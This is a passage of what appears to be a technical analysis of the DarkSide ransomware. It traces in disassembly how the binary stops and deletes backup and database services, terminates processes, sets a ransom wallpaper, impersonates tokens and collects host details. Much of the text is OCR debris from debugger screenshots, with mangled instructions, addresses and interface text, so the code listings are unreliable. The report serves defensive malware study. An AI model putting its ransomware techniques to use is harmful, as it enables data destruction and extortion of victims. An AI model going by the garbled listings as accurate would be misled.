A list of all services and their status is retrieved by calling the EnumServicesStatusExW function (0x30 =

SERVICE_WIN32, 0x3 = SERVICE_STATE_ALL):

! e[ 00404840 64 00 push 0

! o[ 004048AF 6A 00 push o

i e| 00404881 8D 45 EC Tea eax,dword ptr ss:[Jebp-14]

| e/ 00s0asss 50 push eax

i e/ 00404885 8 45 FO Tea eax,dword ptr ss:[febp-10f

! #| ooaosses 50 push eax

! e/ 00404889 FF 75 FO push dword ptr ss:[Jebp-10f)

i e/ 0os0asec €A 00 push

i e 0040488 64 03 push 3

1 o[ 0o404sco BA 30 push 20

i e| oos048c2 64 00 push 0

I . FF 75 FC push dword ptr ss:[febp-4]
EE——e FF 15 FC 07 42 00 €all dword ptr ds:[<&EnumServicesStatusExw>]

. sremmr R S e

x87Tagword FFFF

X87TW_0 3 (EmpTy) x87TW_1 3 (EmpTy)
x87TW_2 3 (Empty) x87TW_3 3 (Empty)
x87TW_4 3 (Empty) x87TW_5 3 (Empty)
X87TW_6 3 (EmpPTy) x87TW_7 3 (Empty)

x87statusword 0000

X87SW_B. X87SW_C3 O X87SW_C2Z O
X87SW_C1 O xB87SW_CO O X87SW_ES 0O
X87SW_SF O X87SW_P O X87SW_U O

=[5 [2][] unlodk

Default (stdcall)
[esp] 02743A60

dword ptr [004207FC <darkside.&ENnumservicesSTatusExW-]=<advapis2.EnumservicessTatusExws

. Text:004048C7 darkside.exe:$48C7 #3CC7

& watch 1 & struct

@44 ump 1

Woump2z WWoump3  EWoump4  EDumps 1= Locals

[esp+4] 00000000
[esp+a] ooo00030
[esp+C] 00000003
[esp+10] 00000000

56 47]14 77 58 43|79 02 01 01|01 01 010L
01 01|01 01 01 01|01 01 01 01|01 02 01 18|..
02 38|90 74 0z 50|9E 74 0z A0|1z 74 02 7O|.
02 50|AD 74 02 Q0|Al 74 02 358|A3 74 02 18
00 00 00 FE|A3 74 0z DB|A4 74 07 00
00 40 00 01|00 00 00 DB|20 73 0z 94.

Figure 62

00000000
0019FF00 | 0D19FF44
0019FF04 | D019FF40

00000000

0019FFOC | 00000000

Each service name is compared to the list that was decrypted at the beginning of the analysis:

® | 004049CA push esi
| 004043CE FF 75 08 push dword ptr ss:[Jebp+5]
FF 15 74 06 42 00 call rd ptr ds: [<ewcsstr>]

esi:L™
[ebpra

XB7SW_CL 0 XB7SW_CO 0 XB7SW_ES O
XB7SW_SF O XB87SW_P 0 XB7SW_U O

B =
Default (stdcal)

1
~ [5 2] unlockee

00404904 83 C4 08 add esp,5
<
dword ptr [00420673 <darkside.&wCssStr>]=<ntd1].wCsstr>
.TeXT:004049CE darkside.exe:$49CE #3DCE
@Woumpi | @oumpz  Woump3  WMpump4  BWpumps @ wathi  Ix-llocals 4 Stuct T
ASCII ~
00 73 00|73 00 00 00|73 00 71 00|6C OO 0D 0OO|v.s.s...s.g.1...
00 76 00|63 0D 24 00|00 00 6D 00|65 00 6D 0O|s.v.cC. m.e.m. 0D19FEF8
00 61 00|73 00 00 00 00 65 00|70 00 6F 00| T.a.5...M.e.p.0. DO1SFEFC
00 73 00|00 00 73 00|6F 00 70 00|68 00 6F 00| C.S. s.0.p.h.o0. 0019FF00
00 00 00|76 00 65 00|65 00 61 O0(6D 00 00 00|s .e.e.a.m. 0019FF04
00 61 00|63 00 6B 00|75 00 70 00|00 00 47 00|b, .K.u.p...G. [l[]lElFFllS
00 56 00|73 00 73 00|00 00 47 00(Z8 00 42 00| X. «5 G.X.B. 0019FFOC
00 72 00|00 00 47 00|78 OO 46 00|57 00 44 00|1 G.x.F.W.D. 0019FF10
00 47 00|78 00 43 00|56 00 44 00(00 00 47 00f.. P o 5 ) SREE - 00 £14 || 0040B2ED
00 43 00|49 00 4D 00|67 00 72 oo|o0 OO 00 OO|x.C.I.M.g.r... i ] Pt ]

[esp] 02753E6C L“"adobearmservice”
[esp+4] 0274A338 L"vss”

[esp+8] Dz74CceCs &L"adobearmservice”
[esp+C] 0040B2BD <darkside.EntryPoints>
[esp+10] 000D00OFE

&L"adobearmservice”
darkside. EntryPoint

return to sechost.7629405F from sechost.7629D:

return to darkside.0040491A from darkside.oo4
L"adobearmservice”
darkside. EntryPoint
darkside.EntrypPoint

The malware opens the targeted services by calling the OpenServiceW routine (0x10020 = DELETE |

SERVICE_STOP):

| 0040491E 68 20 00 01 00 push 10020
o [ 00404923 FE 37 push dword ptr ds:[edi]
o | 00404925 FF 75 FC push dword ptr ss:[febp

~afl
FF 15 00 08 42 00 call dword ptr ds:[<&Openservicews]

[edi]

: -
v
Default (stdcall) -

XB7SW_CL O XB7SW_CO O XB7SW_ES 0
XB7SW_SF O XB7SW_P O XB7SW_U 0

[esp] 02743460

dword ptr [00420800 <darkside. Vicens1 apizz vicen>
. TexXt:00404928 darkside.exe:$4928 #3028
@Woump1 | @pump2  @oump3  @pumps  Whoumps @ wath1  bellocals P Stuct

2: [esp+4] 0275118A L"sqlwriter”
3: [espr8] 00010020

[esp+C] 0040B2BD <darkside.EntryPoint>
[esp+10] 0040B2BD <darkside.EntryPoint>

o
5:

‘D019FF08 | 0275118A | L"sqlwriter”

addrace | uav lTacrsr T

Figure 64

T~ 1l 0019FFoc | 0001002

0

Every targeted service is stopped and deleted using ControlService and DeleteService, as displayed in figure 65:

00404948 push eax X8/ STATUSWOra UUuL
0040494C push 1 XB7SW_B 0O xB875W_C3 0O xB75W_C2 O
0040494E 75 F8 push dword ptr ss:|[ebp-5] XB75W_C1 O xB875W_CO O XB75W_ES O
call rd ptr ds:[<&Controlservice>] XB7SW_SF O XB75W_P 0 XB7SW_U o
00404957 75 F8 push dword ptr ss:|[febp-8 e oo o
€anl dword ptr [<&Deleteservices] - -
, | Default Gstdcal) ~ |[5_12] [ unlock
P 1: [esp] 0274BCCE
dword ptr [00420804 <darkside.&Controlservice-]=<advapisz.Controlservices 2: EESEL‘] 00000001
3: [esp+B] 0019FF24
1 " . 4: [esp+C] 0040B2BD <darkside.Entryroints>
.TEXT:00404951 darkside.exe:$4951 #3051 5: [esprlD] 0D040B2BD <darkside.EntryPoint>
a 0274BCCB.
Wpoump1 | @loump2 @pump3  @pump4  @pump5 BB wath1  [x=lloals g Stuct OO19FFOS | 0000000,
Aedrace Tuav Tneree T . loo1sFFoc | oo19FF24

Figure 65
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The NtQuerySystemInformation API returns an array of SYSTEM_PROCESS_INFORMATION structures (one for
each process running on the system, 0x5 = SystemProcessInformation):

004
004 F8

F4

. Text:00404A3C darkside.exe: $4A3C #3E3C

BD 06 42 00

dword ptr [004206B0 <darkside.&NTQuerysystemInformation>]=<ntdll.NtQuerySystemInformation:

push eax
push dword ptr ss:[febp-c]]
push dword ptr ss:[febp-cl)

push 5
€alldiord  BEtr st [<eNtQuerySys temInformations]

X87SW_B O X87SW_C3
X875W_C1 O x875W_CO O
X87SW_SF O x87SW_P

0 XB7SW_C2 O

XB7SW_ES 0
o

0 xB7SW_U

v =
Defauilt (stdcall)

M=

@oump1  @lpumpz @ oump3

44y bump 4

44 bump 5

O watch1  beellocals & Struct

Hex

| AscIz

Figure 66

Address 1 |
02754588 [0D' FO AD BA[OD FO AD BA[0D FO AD BA[OD FO AD BA[LB.®.D.°.8.°.0.°]

[~ | DOL9FFOC
| " |fo019EF10

i
2
“h
i
s

s 5

esp+d] 02754585

esp+3] 00000400

esp+C] 0019FF4C

esp+10] 00408280 <darkside.entryPoints

00000005
02754588
400

D000O:
DO19FF4C

Each process name is compared to the list that was decrypted in the beginning, as displayed below:

FF 75 08
FF 15 74 06 42

00

push esi
push dword ptr ss:[febp-a]]
call dword ptr ds:[<awcsstr>]

X87SW_SF 0 X87SW_P 0 X87SW.U O

v
5 | Defoult (stdcal) i i ~|[5_[£]0] unlock
dword ptr [00420674 <darkside.&csstr>]=<ntdll.wcsstr 2 2:814?2;;?5205 Creal”
3: [esp+s] 00408280 <darkside.EntryPoints
g 4: [esp+C]_D0DO1BEO

. Text:00404B4F darkside.exe:S4B4F #3F4F 5 [esp+10] 00000000
@Woumpi  @Ypump2  WWoumpz  Whoumps  @Houmps @ watchi  Ix-llocal ) Stuct SAREIRE R t--:z%ﬁ""
e T = e = B 00408280 | darks1de. EntryPaint
0274A100|#3] 00 71 00[6C 00 00 O0|6F 00 72 00|61 00 63 00|S§.q.1...0.r.a.c. 00000000
0274A110( 6C 00 1. o 54530000
0274A120( 00 00 . 0| 02754670
0274A130(73 00 n 00000000
0274A130( 00 00 g 02| DO19FF54
gg;::iég ES gg 3 00404A98 r’ﬁ\:ur’n CE darkside. 00404498 from darkside.004(
0274A170 73 oo t et i
0274410/ 23 o = 00408280 | darkside. EntryPoint

‘ kgl 0040B2BD | darkside.EntryPoint
0274A190|73 00 i) 00000000
0274A1A0| GF 00 -a 7EEECBCZ| return to kernelbase.76E6CECZ Trom kernelbase.
0274A1B0| 64 00 7 . 02743A38]
0274A1C0( 63 00 T. 00000001
0274A1D0| 78 0O .T. 00000000
0274ALED | 6F 00 - 00000435
0274A1F0| 64 00 00000000
0274A200| 6F 00 7 00000000
0274A210( 00 00 00000000
0274A220( 00 00 7 Annnannn!
0274A230|73 00 v bd

Figure 67

For every targeted process, the binary opens

.text:00484AD8 lea eax, [ebp+ClientId]
Jtext:88484ADB push eax ; ClientId
Jtext:ee4adaDC lea eax, [ebptObjectAttributes]
Jtext:@e484ADF push eax ; ObjectAttributes
Jtext:@84B4AER push 1 ; DesiredAccess
Jtext:8B4B4AE2 lea eax, [ebp+ProcessHandle]
Jtext:@B4B4AES push eax 3 ProcessHandle
Ltext:@8484AE6 call NtOpenProcess
LTextieedBdAEC test eax, eax
Ltext:8B4BLAAEE jnz short loc_4@4B84
l" |
Jtext:ee4848F8 push e ; ExitStatus
Ltext:@884844F2 push [ebp+ProcessHandle] ; ProcessHandle
Ltext:88484AF5 call NtTerminateProcess
Jtext:884844FE push [ebp+ProcessHandle] ; Handle
Ltext:B8484AFE call MNtClose

Figure 68

The binary creates an ico file called <RansomPseudoValue>.ico, as displayed below:
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00401088 &A 00 push o A5/04 UUUUUULUUUUBUUUUULUU 14 EMPLY U DUUULULY
00401D8E 68 80 00 00 0O push 50 X87rs 00000000000000000000 STS EmMpTy 0.00000000
00401D20 6A 02 push 2 X87r6 00000000000000000000 STE EmMpTy 0.00000000
00401032 A 0D push 0 X87r7 000000DD00O00DDDO00D ST7 EMPTY 0.0000DODD
00401034 64 00 push 0
00401036 68 00 00 0D 40 push 40000000 x87Tagword EFFE
FE 75 08 push dword ptr ss:[ebp+s] [ebp+s
B——Fe FF 15 2C 07 42 00 call dword ptrds:[<&CreateFilews] el e EE:DE"% P EE:"EV;
. A 89 45 F8 mov dword ptr ss:[ebp-5J,eax Al “ty = pty
® | 00401DA7 83 7D F8 FF cmp dword ptr ss:[febp-sll,FFFFFFFF 2 = (Empty)  x = (Empty)
o| 00401DAB| ~ 74 29 je darkside.401DD6 X87TW_6 3 (Empty)  X87TW_7 3 (Empty)
® | 00a01DAD 6A 00 push 0
® || D0401DAF 8D 45 F4 lea eax,dword ptr ss:[Jebp-cjj x875tatusword 0000
o| 00401DE2 50 push eax X87SW_B O XB7SW.C3 0 xB7SWC2 O
o| 00401DB3 FF 75 10 push dword ptr ss:[febp+10] X875W_C1 O XB7SW CO O XB7SWES O
o| 00401DEE FE 75 0C push dword ptr s=:febp+C] X87SW_SF O XB7SW P O XB7SW.U O
o| 00401DBS FE 75 F8 push dword ptr ss:[ebp-8 amma s e
® | 00401DBC FF 15 30 07 42 00 €& dword ptr ds:[<&WriteFiler] v 0
i & £ DErElEIt (S?GI‘E)IBFDM L "C:\\PI amb. ‘[v\gI hB‘UHH‘u-d
T [es T\\Programbata 25900, 1¢
0042073C <darkside.&Createrilens=<kernals2.createrilens Tesprd] 40000000 —
[esp+8] 0noDOODOOO
. [esp+C]_00D000000
.text:00401D9E darkside.exe: S1DIE #119E Fespiid] 00000002
3 D013FDO0 | L"C: \\Progranbata\\954eh900. 1co"
o1 | @Hoump2  @Woumps  Houmps  WMoumps @ warch:  bellock 2 st ey 5
00[05 00 40 40]0D 00 01 ]
00|00 00 30 30|00 00 01 00000080
42(00 00 20 20|00 00 01

Figure 69

A new registry key called <RansomPseudoValue> is created using the RegCreateKeyExW function, as shown in figure
70:

S s s meeys e im_s o ey
o |Raaer éﬁ o0 gz:ﬂ o X87TW_6 3 (Empty) x&87TW_7 3 (Empty)
. 68 06 01 02 00 push 20106
. 6A 00 push 0 x87statusword 0000
. 6A 00 push 0 XB7SW_BE O xB87SW_C3 O XB7SW_C2 O
. 6A 00 push 0 XB7SW_C1 O xB87SW_CO O XB7SW_ES O
. FF 75 08 push dword ptr ss:[ebp+a] [ebp+5 | X87SW_SF O X87SW_P O X87SW_U O
. 68 00 00 00 BO push 30000000 T
EE— FF 15 EC 07 42 00 call dword ptr ds:[<&RegCreateKeyExws] v = = =
. o —— , | Default (stdcal) =[5 ][] unlod:
: [esp] 30000000
dword ptr [0042076C <darkside.&RegCreatekeyExw=]=<advapi3z.RegCreateKkeyExw> [esp+4] 004103E4 L".954eb300"
: [esp+8] 00000000
v [esp+c] 0000ODOO
.TEXT: 00403000 darkside.exe:$3000 #3100 [esp+10] 00000000

@Woump1 | @loump2  WHoump3  @lioumps  Wloumps @ watchi  bellocals P stuct L". 95 4eb900"

ASCI ~
LEAL.1p1pibip
pipipipibipibib
pipipipipibibip
bibipipipipibip
pipipipipipibip

Figure 70

The DefaultIcon subkey is created, and it specifies the path for the newly created ico file:

B Registry Editor — jm} X
File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOT\954eb %004 Defaulticon

» | T-Zipdeb A | Name Type Data
7-Zip.dmg b (Default) REG_SZ C:\ProgramData\954eb300.ico
7-Finfat

Figure 71

The malware calls the SHChangeNotify routine to notify the shell to update its icon cache (0x08000000 =
SHCNE_ASSOCCHANGED, 0x1000 = SHCNF_FLUSH

00403DEA 6a 0O push © XB/SW_E U XE/SW.LS U XS/SWEZ U
00403DEC 6a 00 push 0 X87SW_CL O XB7SW.CO O X87SWES 0
00403DEE 68 00 10 00 00 push 1000 XBTSW_SF O XBFSW_P O X87SWU O
00403DF 3 65 00 00 00 08 push 8000000 —— N

FF 15 CC 08 42 00 call dword ptr dsi[<&sHChangeNotify>]

L ;
FF call 5 | Default (stdca) (5 B0 unkc

dword ptr [004208CC <darkside.&SHChangeNotify>]=<shell132.SHChangeNotity>

1: [esp]

2: [esp+4] 00001000
3: [esp+8] 000000DD
4: [esp+C] 0D0DDO0DD
s

.text:00403DF8 darkside.exe:$3DF8 #31F8 esp+10] 0040B2BD <darkside.EntryPoints

@oump1  @hoump2  @pump3  Whoumps  @loumps @ watchi  Dellocals P struct

Address | Hex | AscIz |
AnrGcra on an TE AR lrA 3% f1 anTEr £E 1@ Anlen B3 an Anln v EfRanh cea |

Figure 72

A new file called %PROGRAMDATA%\<RansomPseudoValue>.BMP is created using the CreateFileW function:
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push
push &
push 4
push
push

push 4
push dword ptr

el

£ UULULUUULULULULULULU
00000000000000000000
00000000000000000000
4005 9A00000000000000
40038000000000000000
40028000000000000000

S1c EmpLY UL uUULULUL
ST3 EmpTy 0.00000000(
ST4 EmpTy 0.00000000(
ST5 EmpTy
ST6 EMpTy 16.0000000(
ST7 EMpTy 16.0000000(

42 00 call dword ptr d
mov dword ptr f=
cmp dword ptr ss:[fel
jne darkside.4033DF
Jmp_darkside. 403855

1
<&CreateFilens
1. eax . X87TW_0 3 (Empty)

X87TW_1 3 (Empty)
X87TW_3 3 (Empty)
X87TW_5 3 (Empty)

ssesssssissessssnsnne

Bush X87TW_6 3 (Empty) x87TW_7 3 (Empty)
ea s
i eax: L x87statusword 4020
push X87SW_B 0 XB7SW_C3 1 o
ea X87SW_C1 0 X o o
push eax eax:L X87SW_SF 0 X 1 0
FF 75 FC push dword ptr ey =, =
4 1 FF 15 30 07 €@l dword ptr w
et £E 1 e oy | pefault stdcal) >[50 unlack

o L e - . 1: [esp] 02747808 L'C:\\ProgramData\\ss4eb900. B
dword ptr [0042072C <darkside.&createrilews]=<kernels2.Createrilens S —
z 00000000
S 4 00000000
.text:004039CB darkside.exe: $39CB #2DCB 5 ] 00000004

" &) 027473.03 TL"C:\\ProgramData\',954eb200. BMP™
@oumpt  @Ypump2  @oumps  Wpump4  WhDumps @ watch1 | b-llocals | & Struct BT flE s e W\
| AscIT T | ~ | 0019Fc30 | 00000000 |

0019FC84 | 00000000 |
0019FC8E | 00000004 |
001SFCSC | 00000080 |
0019FC90 | 00000000 |

Figure 73

Moving forward, there is a registry key opened by calling the RegCreateKeyExW API, as shown in the next picture:

ad 3 (Empty) (Empty)
v s 3 (Empty) (Empty)
g=tis 3 (Empty) (Empty)
o 3 (Empty) (Empty)
xB75tatusWord 4020
1]
FF FF ss:[febp-2 o
L 1]
20 | push s 3 -
42 00 |’€all dword ptr dsi[<4RegCreateKeyExws]

Defalt (stdcall)
1: [esp] 50000003
2 [esp+4] 0019FCAS L"S-1-5-21

|5 [£]0 urloat

1866265027 -18708¢

dword ptr [004207EC <darkside.&RegCreateKeyExw>]=<advapi32.RegCreateKeyExw>

. text:D0403ACF darkside.exe: $3ACF #2ECF

80000003 |

4| D019FCAS | L"S-1-5-21-1866265027-1870850910-1579135973-10004\Control Panell\Desktop”
0019FC78 | 00000000

0019FC7C | 00000000

0019FC80 | 00000000

0019FC84 | 00020106

0019FC8S | 00000000

%%/ Dump 1 &% Dump 2 8% Dump 3 %% Dump 4 8% Dump 5

Address | Hex
D019FECC | 28
0019FEDC
D019FEEC | O
O019FEFC | B2

g 0 - 0019FCBC | DD19FF 48
B e e

Figure 74

The “WallPaper” value inside the registry key is changed to the location of the newly created BMP file:

. 51 (R RS/ 1W_b 3 \EMPLY) KB/ ML/ 3 (EWPLY)

. FF 75 €C | push dword ptr ss: [ 3

. 6A 01 | push 1

. 6A 00 | push Y

. FF 75 EO | push dword prr 1 o

. FF 75 F& | push dword ptr s 8 o

o FF 15 FO 07 42 00 | €all dword ptr d egsetvalusexws] |

. 403 5 CO | test eax,eax | v =

ol 5 |Default stdcal) ~ |[5_15][] unlock

i [esp] 00000308

[esp+4] 02753E48 L"wallPaper™
esp+8
esp+C]_00000001

[esp+10] 02747808 L"C:\\Programpata\'ss4eb3o00

bl L
[dword ptr [004207F0 <darkside.&RegsetvallUeExws>]=<advapi3z.Regsetval Usexws

. text:D0403AFE darkside.exe: $3AFE #2EFE

U

P P ik ik B
WeDump2  @WDump3  EWDump4 G Dump 5 0019FC8D| 02753E48 ! L"wallpaper”

80 07
48

03 0019FCBC | 02747808 | L"C: \\ProgramData\\954eb900. BMP"
0019FC90 | 00000038 |

Figure 75

After all of these activities, the Desktop has been changed to the following image:

Welcome to DarkSide!

All Your Files Are Encrypted!

Find README.954eb900.TXT And Follow Instructions!

Figure 76

Thread activity — sub_4095AB
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The thread starts by decrypting the following information:

02753E00
02753E10
02753E20

Figure 77

The version of the Darkside ransomware is also decrypted and represents the latest version analyzed in the wild
(2.1.2.3):

D27435C8

Figure 78

Another JSON structure is decrypted by the binary and will be used to collect data about the local machine:

D27471A8
D27471B8
027471C8
027471D8
D27471ES8
D27471F8
02747208
02747218
02747228
D2747238
02747248
02747258
02747268
02747278
D2747288
D2747298
D27 472A8
027472B8
027472C8
D27472D8

Figure 79

One more time, the process checks the type of the drives and is looking for DRIVE_REMOVABLE (0x2),
DRIVE_FIXED (0x3) and DRIVE_REMOTE (0x4):

Jextieedassdl

Jtext: 88488840 loc_483A40:

text: 88488540 push esi
Ltext:@e48384E call GetDriveTypel

JTextieedasAsd cmp eax, 3
text: 88488457 jz short loc_483A63

LtextieedasAss cmp eax, 2
text:@8e488A5C jz short loc_ 488463

Jtextiee488A5E cmp eax, 4

text:88488861 jnz short loc_488ACO

Figure 80
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The GetDiskFreeSpaceExW function is used to retrieve information about the targeted drives, such as the total amount

of space and the total amount of free space:

. 50 push eax
. 45 Fs Yea eax,dword per ss:febp-sl xg7statusword 0000
L4 50 push eax X87SW_B 0O XB7SW_C3 0O XxX87sw_C2 O
. 6A 00 push 0 X87SW_C1 O XB75W CO O X875W_ES O
. 56 push esi esizL”
FF 15 70 07 42 00 call dword F ds:[<&GetDiskFreeSpaceExw>, fch
. P - — 1 5 | Default (stocall +|[5 =100 unk
1: [esp] 02747308 LCi\"

dword ptr [00420770 <darkside.&GetDiskFreeSpaceExws]=<kernel3z.GetDiskFreespaceExws espta] 00000000

.text:00408A6E darkside.exe:$8AGE #7EGE
[ 02747308

Woump1  @oumpz  @Woump3  Woump4  @Dumps @ wawhi  Ir-llocls | P Stuct e iR e
CFEDO | D45CFFOC

fl.. T _—— - Tom ~r om ..!AS(]I o o = I\ A||O.5CFE|J‘ 045CFFO4

Figure 81

esp+10] 004095AB darkside.004095AB

ECE \\

NtDuplicateToken is utilized to duplicate an existing token and to obtain a handle to a new access token (0xC =
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY and 0x2 = TokenImpersonation):

Korin_ 3 LempLy)  Aesim_> 3 yemuiy)
2;0\ 0z pzz“ gax X87TW_6 3 (Empty) x87TW_7 3 (Empty)
6A 00 push o
8D 45 E4 lea eax,dword ptr ss:[Jebp-iCl) x875tatusword 0000
50 push eax XB7SW_B 0 x875W_C3 0O xB75wWw C2 O
6A OC push C XB75W_C1 0 x87SW_CO O XB7SW_ES 0O
FF 75 08 push dword ptr ss:|[ebp+s)
FF 15 AO 06 42 00 call dword r ds: [<&NtDuplicateToken> v
— - — - 5 | Defaut (stican ~ [5 2] Unlock
1: [esp] 00D0DZBC
dword ptr [DO420GAD <darkside.&NtDuplicateTokens]=<ntd11.NtDuplicateToken> CHE (T R
3: [esp+B] 045CFEDO
i 4i [esp+C] D0DO0DDO
.text:00401BBB darkside.exe: $1BBB #FBB s: [esp+10] ooooDODZ
Woump1 | @Hoump2 W4pumps  @Woumps  @oumps @ watch1  ellocals 2 stuct
Address | Hex |AsciI |
027490C8 |43 00 3A 00[31 00 2F 00|37 00 39 00[00 00 AB AB|E@.:.1./ . 00000002
027490D3 | AB AB AB AB|AB AB 00 00|00 ED 90 00|00 00 90 00| x&x B . 045CFEBS | 045CFEES

Figure 82

The thread’s impersonation token is changed via a call to the ZwSetInformationThread routine, as shown in figure 83

(0x5 = ThreadImpersonationToken):

6a 04 push 4
8D 45 FC lea eax,dword ptr ss:[ebp-2J xB7Statusword 0000
50 push eax XB7SW_B 0O X87SW C3 0 XB7sw Cz2 O
6A 05 push 5 XB7SW_C1 O x875W.CO O XxB7SW_ES O
6A FE push FFFFFFFE
FF 15 C8 06 42 00 call dword r ds:[<&ZwSetInformationThread:> .
e - 5 | Defautt stal) ~ 1[5 1) unlocke

=
dword ptr [0D4206CE <darkside.&ZwSetInformationThreads]=<ntdll.Zn5etInformationThr eads Eesglﬂ RIS
[esp+8] 045CFEES
& [esp+C] 00000004
.text:00401BCF darkside.exe: $1BCF #FCF [esp+10] 00000001
@Woump1 | @loump? @WDump3  EWpumps  Whoumps @ watch1  ellocals P struct D4SCEERD| DDODOODS
045CFEB4 | 045CFEES
U ) I ~ || o4screas | os0o0c0s

Figure 83

The ransomware retrieves the username associated with the current thread, as well as the NetBIOS name of the local

push eax S = ‘ XB7SW_C1 O XB7SW_CO 0 XSTSW_ES O
FF 75 F8 push dword ptr ss:[febp-:il I
FF 15 28 08 42 00 €all dword ptr ds:[<&GetUserNamew>] v
5 | Defauit (stcal) -
12 02747338
dword ptr [DD420828 <darkside.&GETUSerNamews]=<advapi3z. GeTUSerNamews T TR
3: [esp+8] 00000001
_ 4: [esp+C] DDDDOD4F
. TEXT:00408BEF darkside.exe: §8B6F #7F6F 5: [esptlD] D04095AE darkside.004095A8
& 02747338
| Woump1 | @lpump2 GWpump3  GWDumps  GMDumps @ watchi  Ixsllocals g Struct m‘
50 push eax ‘ XB75W_C1 O xB75W_CO 0O x87SW_ES O
FF 75 F8 push dword ptr ss:|[ebp-sfj I
FF 15 A8 07 42 00 call dword r ds: [<&GetComputerNamew>| hd
— - — 1 5 | Defaut (strcal) ~|[5 2] Unlock
1: [es| 02747F00
dword ptr [D04207A8 <darkside.&GetComputerNameW>]=<kernel32.GetComputerNamew> 3t esglq 045CEF10
3: [esp+8] 00000001
z 4: [esptC]_D0DODO4F
. text:00408BFA darkside.exe:58BFA #7FFA 5: [esp+iD] 004095AE darkside.004095A8
[ 02747F00
@Woump1 | @oumpz  WHDump3  @oumps  @lpumps @ warhi  bellocals ¢ stuct mg(”m

Figure 85

The current language of the machine is retrieved from the “LocaleName” value, as presented below:
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00408C90D 50 push e TRl S
& 3 X87TW_4 3 (Empty) XB7TW.5 3 (Empty)
?3 45 DO ;5: eax dWDI"d ptr ss:[febp-30] XB7TW_6 3 (Empty) XB7TW_7 3 (Empty)
BD 45 F4 lea eax dwnrd ptr ss:[febp-cl
b Bshic x875tatusword 0000
6A 00 push 0 X87SW_B XB7SW.C3 0 X87SWC2 O
FF 75 E4 push dword ptr ss:[ebp-1c]] [ebp-1 | X87SW.C1 0 XB7SW.CO 0 X87SW_ES 0
FF 75 F8 push dword ptr = iebp- 3] 3
FF 15 F4 07 42 00 €all dword ptr ds:[<eRegQueryvalueExw>
— o - 5 | pefauit stdcal) ~ [5 2] unlock
. - 1: [esp] 00000318
dword ptr [004207F4 <darkside.ERegqueryValUeExW>]=<advapi32.RegQueryVal eExn> Z: [esp+4] 02749240 L"LocaleName”
3: [espt8] 000000
: 4: [esp+C] 045CFFOE
. text:00408CAE darkside.exe:SSCAE #8DAE S [esp+10] 045CFEES
& 00000318
Woump1 | @Mpump2 WMDump3  WMDumps  WMoumps @ watch1  Ix-llecals ¢ Struct 045CFERC | 02749240 | L"Localename”
045CFECO
i s 045CFEC4 | 045CFFO8
045CFECS /03 FE SC 04124 FE SC 04102 FE SC 04101 00 00 00 045CFECS | 045CFEE4
045CFED4| 4F 00 00 00
nacrccea iee ra crlaaee o nalAnTor an anlan™= A AT | WAL RS RN

Figure 86

NetGetJoinInformation is used to get the join status information for the local computer:

| 00408050 50 push
® || 0D408DSE 8D 45 FC lea Ed}( derd ptr
o| 00408061 50 push eax
® || 00408D62 6A 00 push 0
e FF 15 18 09 42 00 call dword ptr ds:

. text: 00408064 darkside.exe:$8D64 #8164

ss:[Jebp-4]

[<&NetGetJoinInformation>]

X8/ STATUSWOrd UUULD
XB7SW_BE O XB7SW_€3 O
XB7SW_C1 O XB7SW_CO O

Default (sbda\ﬂ

X87SW_CZ O
X87SW_ES O

=[5 [2][J unlodk

dword ptr [D0420918 <darkside.&NetGetloinInformation>]=<wkscli.NetGetloinInformations

00000000
[espm] 045CFF10
[esp+8] 045CFFOC
[esp+C] 00000001

[esp+10] 0000004F

@Woump1  @oump2  WHDump3  BHoump4  @lDumps @ wawhi

Ix=] Locals

& struct

addrecs | Hav lasrTT

Figure 87

The product name of Windows can be extracted by querying the “ProductName” value and the Windows product ID

@ 00000000
045CFEFO | D45CFF10
T . || 045CFEF4| n45CFFOC

can be extracted by querying the “ProductId” value, as shown in the following pictures:

50 push eax

&D B5 64 FF FF FF Tea Eaps dword ptr

50 push

8 45 F4 Tea eax dword ptr

50 push eax

6a 00 push 0

FF 75 E4 push dword ptr s
00408DEE FF 75 F8 push dword ptr s

FF 15 F4 07 42 00 call dword ptr d

ss:[Jebp-oc]]

ss:Jebp-cll
ebp-1cl [ebp-1

ebp- 5]
<eRegQueryvalueexw=]

Aosim_c 3 LEmpLy)
X87TW_4 3 (Empty)
X87TW_6 3 (Empty)

Ao/ im_3 3 LEmpLy)
X87TW_5 3 (EmpTy)
X87TW_7 3 (Empty)

x875tatusword 0000
X875W_B X875W_C3 O
XB75W_C1 0 XB75W_C0 O

XB7SW_C2 0O
XB7SW_ES 0O

v
Default (stdcall)

= |[5_2] [ unlock
[1: [esp] 00000:

dword ptr [004207F4 <darkside.&RegQueryvalueExw-]=<advapi3z.RegQueryvalueExn-

.TexT:00408DF1 darkside.exe:$8DF1 #81F1

1.

2: [esp+4] 02745240 L"Productname”
3: [esp+8] 00D00000D

4: [esp+C] 045CFFO8

5: [esp+10] 045CFE78

o 320
@Woump1  @oump2  @Mpump3  @Woump4  Bpumps @D watch1  bellocals ¢ Struct D4SCFESD | 02749240 | L"ProductNama”
Address [Hex |Asciz D45CFES4
045CFECE| 00 00 00 00 AR FE & 4/01 00 00 0O EE & 4] . b,
045CFEDB|4D 29 83 73|C6 12 2F C3|FE FF FF FF|LE FF 5C 04| @ ASCEEoE | oaoerEre
TR - SEH moiim_c 5 yEmpiys  Asiim_3 3 \mumpiyy
. g X87TW_4 3 (Empty) x87TW_5 3 (Empty)
5 85 64 FF FF P ;5: egx cword ptr ss:[Hebp-oci Sl Rl ol LS
8D 45 F4 lea eax,dword ptr ss:|[febp-cl)
50 push e x875tatusword 0000
6A 00 push 0 X875W_B XB7SW_C3 O XB7SW.C2 O
FF 75 E4 push dword ptr ss:[Jebp-1c] [ebp-1 | x87SW.C1 0 X87SW.CO O X87SW_ES 0O
FF 75 F8 push dword ptr ss:|[ebp-g =
FF 15 F4 07 42 00 call dword r ds: [<eRegQueryvalueexws! -
—r - »  |Defeult stdeal) ~|[5_2] (] uniock
(1t [esp] 00000
dword ptr [004207F4 <darkside.&RegqueryvalueExw>]=<advapi3z.RegQueryvalueExws 2: [esptd] 02749249 L"ProductId”
3: [esp+8] 00000000
" 4: [esp+C] 045CFFO8
.TeXT:00408EEE darkside.exe: $8EEE #B2EE 5: [esptl0] 045CFE78
o 320
WWoump:  @Woump2 @oump3  @pump4  @Houmps @ wathi  Ixellocals ) Struct D45CPESO| 02749240 | L"ProductId”
Address [Hex | ascII | D4SCFES4
